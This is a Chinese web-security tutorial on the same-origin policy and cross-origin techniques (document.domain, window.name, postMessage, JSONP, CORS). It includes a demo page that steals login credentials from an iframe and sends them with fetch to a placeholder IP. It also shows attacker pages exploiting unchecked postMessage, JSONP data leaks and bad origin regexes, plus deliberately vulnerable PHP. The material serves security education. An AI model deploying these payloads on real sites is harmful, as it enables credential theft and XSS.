注: 此文章首发于先知社区 https://xz.aliyun.com/t/4470

前言

最近在学习和挖洞的过程中碰到了一些因为涉及跨域而产生的安全问题,结合之前所学总结分享一下

同源策略

概念

同源策略是一种约定,它是浏览器最核心也最基本的安全功能。以下特征被称之为同源

同源策略有两种限制,第一种是限制了不同源之间的请求交互,例如在使用XMLHttpRequest 或 fetch 函数时则会受到同源策略的约束。 第二个限制是浏览器中不同源的框架之间是不能进行js的交互操作的。比如通过iframe和window.open产生的不同源的窗口。这两种限制都有不同的解决方案,下面会讲解不同的解决方案和可能产生的安全问题。

注:

  • 对于<a> <script> <img> <video> <link>这类属性带有src,href的标签,允许跨域加载
  • 跨域请求可以发出,但是浏览器查看返回包发现跨域且无CORS头则会丢弃,而且不同子域之间默认是不同源的
  • IE 未将端口号加入到同源策略的组成部分之中,因此 http://company.com:81/index.htmlhttp://company.com/index.html 属于同源并且不受任何限制。

作用

有人可能一开始觉得同源策略多此一举,但如果没有同源策略会怎么样?如果没有同源策略,所有页面之间都可以相互读取,javascript就拥有无穷的权利。

举个例子。假设A页面是一个很敏感的登录系统,现在受害者先访问了我们伪造的B网页,然后诱导其登录A网页

为了假设没有同源策略,我以aaa.evoa.me为页面A和bbb.evoa.me为页面B。现实中两个不同子域默认不同源

aaa.evoa.me/login.php

<!-- aaa.evoa.me/login.php -->
<body>
    <div style="margin-left: 100px">
        <form method="POST" id='form'>
            用户名: <br/>
            <input id=username type="text" name="username">
            <br/>
            密码: <br/>
            <input id=password type="password" name="username">
            <br/>
            <input type="submit" value="提交">
    </div>
</body>
<!-- 下面设置为了模拟假设没有同源策略 -->         
<script>
    document.domain="evoa.me"
</script>

bbb.evoa.me/evil.php

<!-- bbb.evoa.me/evil.php -->
<!-- 下面设置为了模拟假设没有同源策略 -->  
<script>
    document.domain = "evoa.me"
</script>
<iframe src="//aaa.evoa.me/login.php" id="iframe" width=100% height=100% frameborder=0>    
</iframe>

<script>
    var ifrw = document.getElementById('iframe').contentWindow;
    document.getElementById('iframe').onload = function(){
        ifrw.document.getElementById('form').onsubmit = function(){
            var username =  ifrw.document.getElementById('username').value;
            var password =  ifrw.document.getElementById('password').value;
            fetch('//xxx.xxx.xxx.xxx/?username='+username+'&'+'password='+password);
            }    
        }
</script>

1

2

跨域数据传输的方式

document.domain

此方法针对的是同源策略的第二个限制,即不同窗口之间的同源限制。且此方法只能影响顶级域名相同子域名不同之间的同源规则。

不同子域名之间默认不同源(如aaa.evoa.me与bbb.evoa.me),但是可以通过设置document.domain为相同的更高级域名,来使不同子域同源。

aaa.evoa.me/1.php

<iframe id='iframe' src="//bbb.evoa.me/2.php"></iframe>

bbb.evoa.me/2.php

<h1>123</h1>

3

通过修改document.domain

aaa.evoa.me/1.php

<iframe id='iframe' src="//bbb.evoa.me/2.php"></iframe>
<script>document.domain = evoa.me</script>

bbb.evoa.me/2.php

<h1>123</h1>
<script>document.domain = evoa.me</script>

4

注:

  • document.domain 只可以被设置为他的当前域或其当前域的父域,比如aaa.evoa.me可以设置document.domain为aaa.evoa.me 或 evoa.me,但是不能设置为aaa.evoa.com或者bbb.aaa.evoa.me
  • document.domain 的赋值操作会导致端口号被重写为NULL,所以 aaa.evoa.me 仅设置document.domain为evoa.me 并不能与evoa.me进行通信,evoa.me的页面也必须赋值一次使双方端口相同从而通过浏览器的同源检测。这么做的目的是,如果子域有XSS,那么他的父域都存在安全隐患
  • 设置document.domain并不会影响XMLHttpRequest 或 fetch的同源策略。
  • 同一窗体不同窗口之间(iframe中的或window.open打开的),是能够获取到彼此的window对象的,如iframe.contentWindow可以获取iframe的window对象,但是不同源的情况下这个window对象的大部分属性和方法是受限制的,如上图alert函数一样。下面是火狐浏览器的可用window方法属性

5

如果某个子域为了和根域通信,根域设置了document.domain为根域,那么其他子域如果有xss漏洞可以直接跨同源攻击根域和同样设置了document.domain的其他子域

window.name

window对象有个name属性,该属性有个特征:即在一个窗口(window)的生命周期内,窗口载入的所有的页面都是共享一个window.name的,每个页面对window.name都有读写的权限,window.name是持久存在一个窗口载入过的所有页面中的,并不会因新页面的载入而进行重置。

举个例子,页面有个iframe,iframe中的页面为A,无论iframe中的页面A地址怎么更改,这个iframe对象都是共享同一个window.name,A页面设置window.name,再将iframe的src设置为B页面,B页面中的JS脚本可以读取到之前A页面设置的window.name,简而言之,window.name几乎不受同源策略的影响

aaa.evoa.me/1.php

<iframe id='iframe' src="//bbb.evoa.me/2.php"></iframe>

bbb.evoa.me/2.php

<script>
    window.name = "flag{this_is_flag}";
</script>

aaa.evoa.me/3.php

<script>
    alert(window.name);
</script>

6

首先,我们访问iframe中的name属性,浏览器返回了跨域访问拒绝。但是我们通过设置iframe的src为3.php (3.php可以不与1.php同域),在iframe中的所有页面共享window.name。然后3.php中的脚本访问到不同源的页面2.php并获取到了window.name

注:

  • window.name的值只能是字符串的形式,这个字符串的大小最大能允许2M左右甚至更大的一个容量,具体取决于不同的浏览器

所以,永远不要把敏感数据存在window.name中,否则敏感数据可以被任何其他网页的JS脚本获取

location.hash

location.hash其实就是 URL 的锚部分(从 # 号开始的部分)

具体原理是改变hash并不会导致页面刷新,所以可以利用hash值来进行数据传递。不同域下location.hash也是不能相互读取的

具体做法是,A域的页面a加载一个iframe,设置iframe的src为 B域的b页面+#传输给b的数据,此时b页面的js脚本可以通过读取location.hash获得页面a传过来的数据,然后在b页面再生成一个iframe,src指向A域的页面c+#传输给a的数据,由于页面c与页面a同域同源,所以页面c的脚本可以修改a的locaition.hash

由于此跨域方法比较麻烦且无比较直接的安全问题,此处不细讲

PostMessage

window.postMessage() 方法可以安全地实现跨源通信,被调用时,会在所有页面脚本执行完毕之后向目标窗口派发一个 MessageEvent 消息。 该函数的第一个参数为发送的消息,第二个参数是匹配发送给的窗口的url地址(可以使用*,代表无限制通配),若目标url和此参数不匹配,消息就不会被发送。

被接受窗口则可以通过监听message事件来获取接受信息

例:子窗口向父窗口传递数据

aaa.evoa.me/1.php

<iframe id='iframe' src="//bbb.evoa.me/2.php"></iframe>
<script>
    window.addEventListener('message',function(e){
        alert(e.data);
    })
</script>

bbb.evoa.me/2.php

<script>
    parent.postMessage('evoA','*');
</script>

7

如果事件监听没有判断事件的来源,则会有很大的安全隐患,以下面为例

evoa.me/1.php

<?php
setcookie("flag","flag{this_is_flag}");
?>

<iframe id='iframe' src="//evoa.me/2.php"></iframe>
<h1 id="name"></h1>
<script>
    window.addEventListener('message',function(e){
        document.getElementById('name').innerHTML = e.data;
    })
</script>

本来1.php应该接受来自2.php传过来的数据,但由于监听事件并没有任何判断,所以我们可以构造恶意网页,构造iframe src指向evoa.me/1.php往里面传数据造成xss

evil.com/evil.php

<iframe id="iframe" src="//evoa.me/1.php"></iframe>

8

如果正则设置不当,依旧可能造成安全隐患

evoa.me/1.php

<?php
setcookie("flag","flag{this_is_flag}");
?>
<iframe id='iframe' src="//bbb.evoa.me/2.php"></iframe>
<h1 id="name"></h1>
<script>
    window.addEventListener('message',function(e){
        if(/^http:\/\/.*evoa\.me$/.test(e.origin))
        document.getElementById('name').innerHTML = e.data;
    })
</script>

正则设置有误,我们可以购买域名aaaevoa.me进行绕过

aaaevoa.me/evil.php

<iframe id="iframe" src="//evoa.me/1.php"></iframe>

9

JSONP

上面讲过<script>标签可以跨域加载资源,但是返回内容如果不符合JS语法同样无法获取数据,JSONP则是通过返回符合JS语法的数据内容使资源能够跨域加载

aaa.evoa.me/1.php

<script>
function echoData(data) {
    console.log("DATA: ", data);
}
</script>
<script src="//bbb.evoa.me/2.php?func=echoData"></script>

bbb.evoa.me/2.php

<?php
header('Content-type: application/javascript');
$func = $_REQUEST['func'] ?? "func";
$data = '["aaa","bbb","ccc","ddd"]';
echo $func . "(" . $data . ")";
?>

10

1.php页面先设定好输出数据的函数,通过<script>标签请求2.php并带有函数名参数,2.php把数据当函数参数传入并根据函数名输出对应函数调用语句,1.php获得响应后自动调用函数即可获取数据

本来一个极其巧妙的数据传输方式,但如果配置有问题,则可能产生安全隐患,假如一个没有任何验证的JSONP接口,用来传输用户的敏感数据

evoa.me/2.php

<?php
header('Content-type: application/javascript');

$func = $_REQUEST['func'] ?? "func";
$data = "{'username':'evoA','password':'123456789'}";
echo $func . "(" . $data . ")";
?>

evil.com/evil.php

<script>
function echoData(data) {
    alert("username: " + data.username + "\n" + "password: "+ data.password);
}
</script>
<script src=//evoa.me/2.php?func=echoData></script>

11

如果未设置Content-type,会发生什么?

evoa.me/2.php

<?php
$func = $_REQUEST['func'] ?? "func";
$data = "{'username':'evoA','password':'123456789'}";
echo $func . "(" . $data . ")";
?>

12

未设置Conten-type可以导致反射性XSS

但是就算设置好了Conten-type也可能会有安全隐患,比如IE可以在Conten-type为application/json或application/javascript的情况下XSS,具体可以看下面这篇文章

在application/json,application/javascript等Response下进行XSS

而且这种用户完全可控点可以结合很多其他缺陷产生漏洞,所以这种接口还应该过滤非法字符

防御方法:

  • 验证referer,很多接口验证referer的正则有误,可以通过绕过正则继续攻击,
  • 验证token

CORS

上面说过浏览器的同源策略有两种限制,CORS头就是为了突破不同源之间的请求交互这一限制而产生的,

只需要HTTP返回

Access-Control-Allow-Origin: http://evil.com

evil.com的跨域请求(XMLHttpRequest或fetch)的响应会被浏览器正确的返回

CORS的详细内容可以看https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Access_control_CORS

evoa.me/1.php

<?php
header("Access-Control-Allow-Origin: http://evil.com");
echo "flag{this_is_flag}";
?>

13

如果设置Access-Control-Allow-Origin: *

则所有的跨域访问响应都会被允许。

如果请求需要带上Cookie,则需要服务器设置Access-Control-Allow-Credentials: true

否则浏览器将不会把响应内容返回给请求的发送者。

注:

如果设置 Access-Control-Allow-Origin: *,则不管设没设置Access-Control-Allow-Credentials: true,带Cookie的请求都会失败,这是浏览器的规定,若请求需带上Cookie, Access-Control-Allow-Origin:不能使用*

如果输出Access-Control-Allow-Origin采用正则的方式,正则编写失误的话很可能产生安全漏洞

如下

evoa.me/1.php

<?php
error_reporting(0);
if(preg_match("/^http:\/\/.*\.?evoa.me/",getallheaders()['Origin']))
{
    header("Access-Control-Allow-Origin: ".getallheaders()['Origin']);
}

echo "flag{this_is_flag}";
?>

由于正则没有以$结尾,我们可以构造evoa.me.evil.com进行恶意访问

14

一般来说只要正确配置Access-Control-Allow-Origin就可以避免这些隐患,特别是在用正则表达式进行匹配的时候需尤为谨慎

参考

https://www.jianshu.com/p/7d23b48ff8b8

https://developer.mozilla.org/zh-CN/docs/Web/Security/Same-origin_policy

https://developer.mozilla.org/zh-CN/docs/Web/API/Document/domain

https://developer.mozilla.org/zh-CN/docs/Web/API/Window/postMessage

https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Access_control_CORS

https://www.secpulse.com/archives/56637.html

https://www.anquanke.com/post/id/97671